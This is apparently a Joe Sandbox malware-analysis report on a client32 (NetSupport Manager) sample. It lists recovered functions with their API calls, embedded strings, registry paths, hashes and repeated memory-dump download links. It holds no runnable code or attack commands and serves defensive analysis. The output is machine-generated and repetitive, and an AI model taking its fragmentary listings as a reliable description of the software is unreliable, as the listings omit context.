Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Window$DeferEqualPointsRect
String ID: e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h$m_hWnd
API String ID: 2754115966-2830328467
Opcode ID: b6d19f504f75df2a93f1157cb60ab9b52a693478c141313c6b39b5393ddf6f55
Instruction ID: 7762f9a6a2ed7d341f2943c2e7d232384b1531e6a197bbc7c1a3da1ffe608ad4
Opcode Fuzzy Hash: b6d19f504f75df2a93f1157cb60ab9b52a693478c141313c6b39b5393ddf6f55
Instruction Fuzzy Hash: 74414B74A006099FDB14CF98C885EAABBF5FF48704F108569EA55AB344DB70A800CFA4

Function 6EEFBE00 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 72COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 6EEFBE64
_strncpy.LIBCMT ref: 6EEFBE9D

Strings

apptype == APP_SLAVE, xrefs: 6EEFBE13
sv.slavetype == APP_SLAVE, xrefs: 6EEFBE33
e:\nsmsrc\nsm\1210\1210f\ctl32\htctl.c, xrefs: 6EEFBE0E, 6EEFBE2E

Memory Dump Source

Source File: 00000005.00000002.3341493413.000000006EEF1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6EEF0000, based on PE: true

Associated: 00000005.00000002.3341473801.000000006EEF0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341527634.000000006EF30000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341547802.000000006EF39000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341566177.000000006EF3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341566177.000000006EF3E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341604844.000000006EF40000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eef0000_client32.jbxd

Yara matches

Similarity

API ID: _memset_strncpy
String ID: apptype == APP_SLAVE$e:\nsmsrc\nsm\1210\1210f\ctl32\htctl.c$sv.slavetype == APP_SLAVE
API String ID: 3140232205-2748231828
Opcode ID: 0afeb22cfb46c3a27803e9434bf825a5c88b74c5628e05316230d869d0eb9c42
Instruction ID: c9e058a6d7b36fb66a8f3069bc493fa3983bae145d74c022c1c94aaf51226664
Opcode Fuzzy Hash: 0afeb22cfb46c3a27803e9434bf825a5c88b74c5628e05316230d869d0eb9c42
Instruction Fuzzy Hash: 4C11EB73E5032AE7EB0049D49C31BDE33589B0165CF214027FE08AA3C5E371A85A83D5

Function 110BD470 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 65windowCOMMON

Download Yara Rule

APIs

GetMenu.USER32(?), ref: 110BD4A4
GetSubMenu.USER32(00000000,00000002), ref: 110BD4E5
DrawMenuBar.USER32(?), ref: 110BD50D

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

Strings

e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h, xrefs: 110BD48E
m_hWnd, xrefs: 110BD493

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Menu$DrawErrorExitLastMessageProcesswsprintf
String ID: e:\nsmsrc\nsm\1210\1210f\ctl32\wndclass.h$m_hWnd
API String ID: 381722633-2830328467
Opcode ID: 0cf4c9e9231e7294a34ea0469e29db66948a84948ca199a1ba082523d671b7b5
Instruction ID: 2ed85e2a360b3d02c99ae53d45e4f65cdbccb9b7267b746ab424cefae630bdcb
Opcode Fuzzy Hash: 0cf4c9e9231e7294a34ea0469e29db66948a84948ca199a1ba082523d671b7b5
Instruction Fuzzy Hash: 9B1151BAE00219AFCB04DFA5C894CAFF7B9BF49308B00457EE11697254DB74AD05CB94

Function 6EF0FFC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 57threadwindowsynchronizationCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6EF0FFD8

Part of subcall function 6EF0DAC0: SetEvent.KERNEL32(00000000), ref: 6EF0DAE4

WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 6EF1000C

Part of subcall function 6EF0FBC0: EnterCriticalSection.KERNEL32(?,?,75A73550,6EF1001D), ref: 6EF0FBC8
Part of subcall function 6EF0FBC0: LeaveCriticalSection.KERNEL32(?), ref: 6EF0FBD5

PostMessageA.USER32(?,00000501,00000000,00000000), ref: 6EF10034
PostThreadMessageA.USER32(?,00000501,00000000,00000000), ref: 6EF1003B

Strings

Queue, xrefs: 6EF0FFC4

Memory Dump Source

Source File: 00000005.00000002.3341493413.000000006EEF1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6EEF0000, based on PE: true

Associated: 00000005.00000002.3341473801.000000006EEF0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341527634.000000006EF30000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341547802.000000006EF39000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341566177.000000006EF3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341566177.000000006EF3E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341604844.000000006EF40000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eef0000_client32.jbxd

Yara matches

Similarity

API ID: CriticalMessagePostSectionThread$CurrentEnterEventLeaveObjectSingleWait
String ID: Queue
API String ID: 620033763-3191623783
Opcode ID: 6db34744f0dfcc5634f63efe7f43dab156aad11e1354ee8f1c06caabb014b928
Instruction ID: ae3b3fa04dd291375f4864bc4dd7b9ebf70343402d72029838a5bd4d2d768223
Opcode Fuzzy Hash: 6db34744f0dfcc5634f63efe7f43dab156aad11e1354ee8f1c06caabb014b928
Instruction Fuzzy Hash: E611C675554B159FDB60EBF4C870B8A336AAB85354F00441AE8059B241EBB1E810DBF5

Function 1102D750 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 51COMMON

Download Yara Rule

APIs

GetVersion.KERNEL32(?,1113A2AB,00000001,00000001,Audio,HookDirectSound,00000000,00000000), ref: 1102D75C
InterlockedIncrement.KERNEL32(111EE418), ref: 1102D799
InterlockedDecrement.KERNEL32(111EE418), ref: 1102D7C0

Strings

EnableAudioHook(%d, %d), gCount=%d, xrefs: 1102D77F
SYSTEM\CurrentControlSet\Hardware Profiles\Current\System\CurrentControlSet\Enum, xrefs: 1102D7A6, 1102D7CC

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Interlocked$DecrementIncrementVersion
String ID: EnableAudioHook(%d, %d), gCount=%d$SYSTEM\CurrentControlSet\Hardware Profiles\Current\System\CurrentControlSet\Enum
API String ID: 1284810544-229394064
Opcode ID: fe3dc48e698ffd4a8d7334cc8b8c209b51da527230acf53cf6ffc60aeaae577d
Instruction ID: 926408d456050aac1ce0bfa7cc5ec849c80561d93592d3bffa921dc6a50aec96
Opcode Fuzzy Hash: fe3dc48e698ffd4a8d7334cc8b8c209b51da527230acf53cf6ffc60aeaae577d
Instruction Fuzzy Hash: 8801DB3AE425A956E70299D56C84F9DB7E9BF8162DFC00071FD2DD2A04F725A84043F1

Function 11093410 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 44registrywindowCOMMON

Download Yara Rule

APIs

GetClassInfoA.USER32(1109350C,NSMClassList,?), ref: 11093424
LoadIconA.USER32(1109350C,00002716), ref: 11093456
LoadCursorA.USER32(00000000,00007F00), ref: 11093465
RegisterClassA.USER32(?), ref: 11093483

Strings

NSMClassList, xrefs: 1109341E, 1109347C

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ClassLoad$CursorIconInfoRegister
String ID: NSMClassList
API String ID: 2883182437-2474587545
Opcode ID: ed1d21c8b0e5febffb489e055e1c54f1fef417e553f3d38ad2266ee313231f99
Instruction ID: fe778f9fdd97d031227fa6c3481e124fd7af1bb38caa6574b8637058aa02c9a3
Opcode Fuzzy Hash: ed1d21c8b0e5febffb489e055e1c54f1fef417e553f3d38ad2266ee313231f99
Instruction Fuzzy Hash: D2015AB1D4522DABCB00CF9A99489EEFBFCEF98315F00415BE424F3240D7B556518BA5

Function 11145450 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 33libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,?,11037F05), ref: 11145463
GetProcAddress.KERNEL32(00000000,GetUserDefaultUILanguage), ref: 11145475
FreeLibrary.KERNEL32(00000000,?,11037F05), ref: 11145485

Strings

GetUserDefaultUILanguage, xrefs: 1114546F
kernel32.dll, xrefs: 1114545C

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Library$AddressFreeLoadProc
String ID: GetUserDefaultUILanguage$kernel32.dll
API String ID: 145871493-545709139
Opcode ID: d9714682fd572e4dd61365fd2dfa7814b888b2e8bab1e0a3a5dbf5644fcdd9a2
Instruction ID: e6235b5ae6f1dfca5c3043155b5dfa22c054f7606e96d7ad1ec578fde494cc77
Opcode Fuzzy Hash: d9714682fd572e4dd61365fd2dfa7814b888b2e8bab1e0a3a5dbf5644fcdd9a2
Instruction Fuzzy Hash: A1F0A7317021744FE3568AB69F84AAEFAD5EB81B7AB190135E430CAA98E73488408765

Function 110ED0D0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 30windowCOMMON

Download Yara Rule

APIs

IsWindow.USER32(00000000), ref: 110ED0D9
SendMessageA.USER32(00000000,0000045B,11020C43,00000000), ref: 110ED10D
SendMessageA.USER32(00000000,00000445,00000000,04000000), ref: 110ED11C

Part of subcall function 11029A70: GetLastError.KERNEL32(?,00000000,?), ref: 11029A8C
Part of subcall function 11029A70: wsprintfA.USER32 ref: 11029AD7
Part of subcall function 11029A70: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029B13
Part of subcall function 11029A70: ExitProcess.KERNEL32 ref: 11029B29

Strings

IsWindow(hRich), xrefs: 110ED0ED
..\CTL32\NSWin32.cpp, xrefs: 110ED0E8

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Message$Send$ErrorExitLastProcessWindowwsprintf
String ID: ..\CTL32\NSWin32.cpp$IsWindow(hRich)
API String ID: 2446111109-1196874063
Opcode ID: 93f24dbc4e032974f58e80ca0bca6baec86c89681a163379e751775f02966cce
Instruction ID: de22b858d700e942c4608c09a96d83abbd875fbcce216c0436bbd94e05821714
Opcode Fuzzy Hash: 93f24dbc4e032974f58e80ca0bca6baec86c89681a163379e751775f02966cce
Instruction Fuzzy Hash: 75E0D82978027837D52176926C0AFDF7B5CCB85A55F058021FB15BB0C1D560730146ED

Function 11017420 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 26windowCOMMON

Download Yara Rule

APIs

FindWindowA.USER32(IPTip_Main_Window,00000000), ref: 11017428
GetWindowLongA.USER32(00000000,000000F0), ref: 11017437
PostMessageA.USER32(00000000,00000112,0000F060,00000000), ref: 11017458
SendMessageA.USER32(00000000,00000112,0000F060,00000000), ref: 1101746B

Strings

IPTip_Main_Window, xrefs: 11017423

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: MessageWindow$FindLongPostSend
String ID: IPTip_Main_Window
API String ID: 3445528842-293399287
Opcode ID: 00a8c747fde22ab102a93d32433fce56b25fb468ef9c10acfd2dcd85990a41f8
Instruction ID: 34ac11834c9c2e389a15be58e88483fc622eca852c0d3e073bf1a838df65f62f
Opcode Fuzzy Hash: 00a8c747fde22ab102a93d32433fce56b25fb468ef9c10acfd2dcd85990a41f8
Instruction Fuzzy Hash: A6E0DF38AC1B7973F23916204E5AFCA79458B00B20F100150FB32BC9C98B9894009698

Function 6EF14F31 Relevance: 7.7, APIs: 5, Instructions: 160COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 6EF14F8C
_memcpy_s.LIBCMT ref: 6EF14FFD
__read.LIBCMT ref: 6EF15060
__filbuf.LIBCMT ref: 6EF1507C

Part of subcall function 6EF160F9: __getptd_noexit.LIBCMT ref: 6EF160F9

_memset.LIBCMT ref: 6EF150BD

Memory Dump Source

Source File: 00000005.00000002.3341493413.000000006EEF1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6EEF0000, based on PE: true

Associated: 00000005.00000002.3341473801.000000006EEF0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341527634.000000006EF30000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341547802.000000006EF39000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341566177.000000006EF3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341566177.000000006EF3E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000005.00000002.3341604844.000000006EF40000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eef0000_client32.jbxd

Yara matches

Similarity

API ID: _memset$__filbuf__getptd_noexit__read_memcpy_s
String ID:
API String ID: 4048096073-0
Opcode ID: baa3d1309f35f1cf240b172b7daea1819837b361dbb2c345d08023d0c973fbbc
Instruction ID: aa1b9090a6140f25eb60fd78ec772a47979430d5489cee8d7f029eb6ea0ca47a
Opcode Fuzzy Hash: baa3d1309f35f1cf240b172b7daea1819837b361dbb2c345d08023d0c973fbbc
Instruction Fuzzy Hash: 0751B131A0870EDFDB108FE988746DEB7B5AFC0324F20866EE83497294D7319A51CB90

Function 110CF7D0 Relevance: 7.6, APIs: 5, Instructions: 87COMMON

Download Yara Rule

APIs

Part of subcall function 110CEDF0: EnterCriticalSection.KERNEL32(00000000,00000000,EFF676FC,00000000,00000000,00000000,110CF110,?,00000001), ref: 110CEE2A
Part of subcall function 110CEDF0: LeaveCriticalSection.KERNEL32(00000000), ref: 110CEE92

IsWindow.USER32(?), ref: 110CF82B

Part of subcall function 110CC330: GetCurrentThreadId.KERNEL32 ref: 110CC339

RemovePropA.USER32(?), ref: 110CF858
DeleteObject.GDI32(?), ref: 110CF86C
DeleteObject.GDI32(?), ref: 110CF876
DeleteObject.GDI32(?), ref: 110CF880

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: DeleteObject$CriticalSection$CurrentEnterLeavePropRemoveThreadWindow
String ID:
API String ID: 1921910413-0
Opcode ID: e7ee2ccd0990f0a239e7a4ad568e4e99a575b0a85c9cc50c84e6834965f63a82
Instruction ID: ad97ac124b8baf06b1bc187428558142c09e0612fd1a0aa1ed86d22d24e6cfad
Opcode Fuzzy Hash: e7ee2ccd0990f0a239e7a4ad568e4e99a575b0a85c9cc50c84e6834965f63a82
Instruction Fuzzy Hash: 0C316BB1A007559BDB20DF69D940B5BBBE8EB04B18F000A6DE862D3690D775E404CBA2

Function 11081590 Relevance: 7.6, APIs: 2, Strings: 3, Instructions: 86COMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 11081616
wsprintfA.USER32 ref: 1108164D

Strings

m_iPos=%d, m_nLen=%d, m_nExt=%d, m_pData=%x {%s}, xrefs: 11081647
..\CTL32\DataStream.cpp, xrefs: 1108165E
%02x, xrefs: 11081610

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: wsprintf
String ID: %02x$..\CTL32\DataStream.cpp$m_iPos=%d, m_nLen=%d, m_nExt=%d, m_pData=%x {%s}
API String ID: 2111968516-476189988
Opcode ID: 18afd0e97f3a031e40cfd2a551fc180182996eee7e6a41f22d48f02a6a494389
Instruction ID: 5a57582845b686d446ddd06a6d519ab032a036b4d7a2f4ef603709a16adc2e93
Opcode Fuzzy Hash: 18afd0e97f3a031e40cfd2a551fc180182996eee7e6a41f22d48f02a6a494389
Instruction Fuzzy Hash: 8621F371E412599FDB24CF65DDC0EAAF3F8EF48304F0486AEE51A97940EA70AD44CB60

Function 1111F440 Relevance: 7.6, APIs: 5, Instructions: 82windowCOMMON

Download Yara Rule

APIs

Part of subcall function 1111AAA0: DeleteObject.GDI32(?), ref: 1111AAD6

SelectPalette.GDI32(?,?,00000000), ref: 1111F4BC
SelectPalette.GDI32(?,?,00000000), ref: 1111F4D1
DeleteObject.GDI32(?), ref: 1111F4E4
DeleteObject.GDI32(?), ref: 1111F4F1
DeleteObject.GDI32(?), ref: 1111F516

Memory Dump Source

Source File: 00000005.00000002.3341028149.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000005.00000002.3341008570.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341142613.0000000011194000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341181272.00000000111E2000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341201363.00000000111F1000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000111F7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001125D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.0000000011288000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001129E000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112B4000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.00000000112DF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000005.00000002.3341218824.000000001132B000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: DeleteObject$PaletteSelect
String ID:
API String ID: 2820294704-0
